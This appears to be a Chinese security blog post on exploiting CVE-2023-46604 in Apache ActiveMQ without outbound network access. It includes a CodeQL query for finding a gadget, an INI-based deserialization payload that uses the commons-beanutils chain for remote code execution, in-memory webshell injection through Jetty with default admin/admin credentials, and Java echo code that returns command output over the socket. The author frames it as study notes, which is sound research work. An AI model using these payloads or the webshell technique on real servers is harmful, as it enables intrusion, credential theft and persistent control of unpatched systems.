最近看到一个不出网的技巧,学习一下
影响版本:
Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
环境搭建:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604
默认端口
默认条件
8161 web
需配置才可远程访问
61616 tcp
远程访问
漏洞出现在61616端口中
源码下载:https://www.apache.org/dyn/closer.cgi?filename=/activemq/5.17.3/activemq-parent-5.17.3-source-release.zip&action=download
漏洞触发点在org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable
需要存在public构造方法,且该构造方法只有一个String类型的参数
不出网利用 codeql构建数据库(注意JDK版本)
1 codeql database create activemq-database --language="java" --command ="mvn clean install -Dmaven.test.skip=true --file pom.xml"
进行搜索
1 2 3 4 5 6 7 8 9 import javafrom Constructor c where c.getDeclaringType().getAMethod().isPublic() and c.getNumberOfParameters() = 1 and c.getParameter(0 ).getType().getName() = "String" and c.fromSource() and c.getName() != "" select c
直接给出结论:
1 org.apache.activemq.shiro.env.IniEnvironment
IniEnvironment 看到该构造方法
1 2 3 4 5 6 public IniEnvironment (String iniConfig) { Ini ini = new Ini (); ini.load(iniConfig); this .ini = ini; init(); }
通过org.apache.shiro.config.Ini
来实例化一个ini配置并进行初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 @Override public void init () throws ShiroException { Ini ini = this .ini; if (ini != null ) { apply(ini); } if (this .objects.isEmpty() && this .iniConfig != null ) { ini = new Ini (); ini.load(this .iniConfig); apply(ini); } ... } protected void apply (Ini ini) { if (ini != null && !ini.isEmpty()) { Map<String, ?> objects = createObjects(ini); this .ini = ini; this .objects.clear(); this .objects.putAll(objects); } } private Map<String, ?> createObjects(Ini ini) { IniSecurityManagerFactory factory = new IniSecurityManagerFactory (ini) { @Override protected SecurityManager createDefaultInstance () { return new DefaultActiveMqSecurityManager (); } @Override protected Realm createRealm (Ini ini) { IniRealm realm = (IniRealm)super .createRealm(ini); realm.setPermissionResolver(new ActiveMQPermissionResolver ()); return realm; } }; factory.getInstance(); return factory.getBeans(); }
它会从 INI 配置中构建 SecurityManager
看到:https://shiro.apache.org/configuration.html
在[main]
配置下首先会Defining an object,然后Setting object properties
通过Apache Commons BeanUtils类,支持调用任意的getter/setter方法
并且支持Base64以及Hex编码
ActiveMQObjectMessage org.apache.activemq.command.ActiveMQObjectMessage#getObject()
是一个反序列化操作
由于环境自带commons-beanutils-1.9.4.jar,直接打cb链即可
1 2 3 4 5 6 7 8 9 [main] byteSequence = org.apache.activemq.util.ByteSequence byteSequence.data = *** byteSequence.offset = 0 byteSequence.length = *** activeMQObjectMessage = org.apache.activemq.command.ActiveMQObjectMessage activeMQObjectMessage.content = $byteSequence activeMQObjectMessage.trustAllPackages = true activeMQObjectMessage.object.a = x
成功RCE
内存马注入 ActiveMQ一般路径下是不解析jsp文件的,要想上传webshell则需要放在admin目录下,并且需要身份验证
看到:https://github.com/Hutt0n0/ActiveMqRCE ,已经实现了内存马功能,简单看下
由于ActiveMQ使用的中间件是Jetty,遍历线程即可
1 2 3 4 5 6 TargetObject = {java.lang.Thread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [33] = {java.lang.Thread} ---> contextClassLoader = {org.eclipse.jetty.webapp.WebAppClassLoader} ---> _context = {org.eclipse.jetty.webapp.WebAppContext}
我们也可以直接使用JMG生成,需要添加协议头(身份认证):
1 Authorization: Basic YWRtaW46YWRtaW4=
缺点:需要攻击者能够访问admin路由
而ActiveMQ的账号密码存储在conf/jetty-realm.properties
文件中
默认的两个账号:admin/admin、user/user
后续看到项目:https://github.com/Arlenhiack/ActiveMQ-RCE-Exploit ,支持了回显利用
使用的是TransportListener的onCommand处理命令
最后将结果输出在Socket中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 try { java.io.ByteArrayOutputStream baos = new java .io.ByteArrayOutputStream(); java.io.DataOutput dataOutput = new java .io.DataOutputStream(baos); dataOutput.writeInt(0 ); dataOutput.writeByte(14 ); org.apache.activemq.openwire.BooleanStream bs = new org .apache.activemq.openwire.BooleanStream(); bs.writeBoolean(true ); bs.writeBoolean(true ); bs.writeBoolean(true ); bs.writeBoolean(false ); bs.writeBoolean(true ); bs.writeBoolean(false ); bs.marshal(dataOutput); dataOutput.writeUTF("bb" ); dataOutput.writeUTF(result); Thread thread = Thread.currentThread(); Class aClass = Class.forName("java.lang.Thread" ); java.lang.reflect.Field target = aClass.getDeclaredField("target" ); target.setAccessible(true ); org.apache.activemq.transport.tcp.TcpTransport transport = (org.apache.activemq.transport.tcp.TcpTransport)target.get(thread); Class aClass1 = Class.forName("org.apache.activemq.transport.tcp.TcpTransport" ); java.lang.reflect.Field socketfield = aClass1.getDeclaredField("socket" ); socketfield.setAccessible(true ); java.net.Socket socket = (java.net.Socket)socketfield.get(transport); java.io.OutputStream outputStream = socket.getOutputStream(); outputStream.write(baos.toByteArray()); } catch (Exception e) { }
实现回显
那么思路就很清晰了,回显读取账号密码->打入内存马
参考:https://github.com/CTFCON/slides/blob/main/2024/Make%20ActiveMQ%20Attack%20Authoritative.pdf CVE-2023-46604 ActiveMQ RCE不出网利用